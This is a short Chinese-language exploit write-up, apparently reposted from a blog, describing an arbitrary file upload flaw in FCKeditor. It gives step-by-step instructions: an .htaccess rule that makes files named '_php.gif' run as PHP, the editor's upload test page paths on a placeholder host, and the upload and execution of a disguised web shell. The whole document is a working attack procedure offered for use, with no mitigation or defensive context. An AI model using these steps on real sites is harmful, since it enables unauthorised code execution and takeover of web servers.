FCKeditor所有版本任意文件上传缺陷

In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : WwW.PenTesters.IR

利用步骤:

1.创建一个htaccess文件:
代码内容:
<FilesMatch “_php.gif”>
SetHandler application/x-httpd-php
</FilesMatch>

2.使用编辑器上传htaccess文件.

http://www.xxx.com/FCKeditor/editor/filemanager/upload/test.html

http://www.xxx.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

3.上传shell.php.gif

4.上传后shell.php.gif, 会自动被改名为 shell_php.gif

5.访问http://www.xxx.com/上传目录/shell_php.gif

转载于:https://www.cnblogs.com/mujj/articles/2165996.html